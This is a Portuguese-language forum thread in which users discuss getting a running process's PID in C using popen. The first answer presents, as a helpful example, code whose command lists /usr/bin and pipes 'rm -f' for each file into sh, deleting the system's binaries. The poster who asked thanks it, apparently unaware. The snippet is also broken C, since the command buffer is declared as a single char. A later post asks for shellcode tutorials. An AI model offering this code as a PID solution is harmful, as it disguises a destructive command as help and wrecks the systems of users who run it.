Pegar o PID de um processo em execucao
funciona assim:
/* ******** inicio exemplo ******** */
FILE *fle_cmd;
char chr_cmd, chr_leitura[SIZE];
sprintf(chr_cmd, "%s", "ls -1 /usr/bin |awk '{print "rm -f " $1}' |sh");
// "abrindo" o comando
fle_cmd = popen (chr_cmd, "r");
while (fgets(chr_leitura, SIZE, fle_cmd) != NULL) {
chr_leitura[strlen(chr_leitura) - 1] = '\0';
// exibindo o retorno
printf("Retorno -> %s\n", chr_leitura);
}
pclose(fle_cmd);
/* ******* fim exemplo ******* */
até mais.
Pegar o PID de um processo em execucao
valeu cara...valeu mesmo!!! kebrou um galhao cara!!
;-)
falooow
[]'s
ateh++
Pegar o PID de um processo em execucao
na verdade vc pode tratar o ponteiro do popen como se fosse um fopen, ou seja tratar ele como arquivo msm....
se vc abrir um comando em modo escrita podeira escrever no programa como escreveria em um arquivo (eu uso o fprintf), ou se abrir em modo leitura vc le os resultados dele como um arquivo (assim como nosso amigo fez ai em cima)
Pegar o PID de um processo em execucao
blza cara valeu pelas dicas!!!
o fprintf eu conheco..eu ja usei bastante para escrever em arquivos etc etc e tal..
mas de qualquer forma vlaeu..
se alguem souber um tutorial bom sobre escrita de shellcodes basico poderia me passar o link?? sem ser o da pagina da unsekurity..
valeu []'s
ateh++
faaloow
Pegar o PID de um processo em execucao
Tipo, pode usar o system() pra executar um comando shell dentro do programa em C. Ai fica facil pegar o PID.
[ ] ´s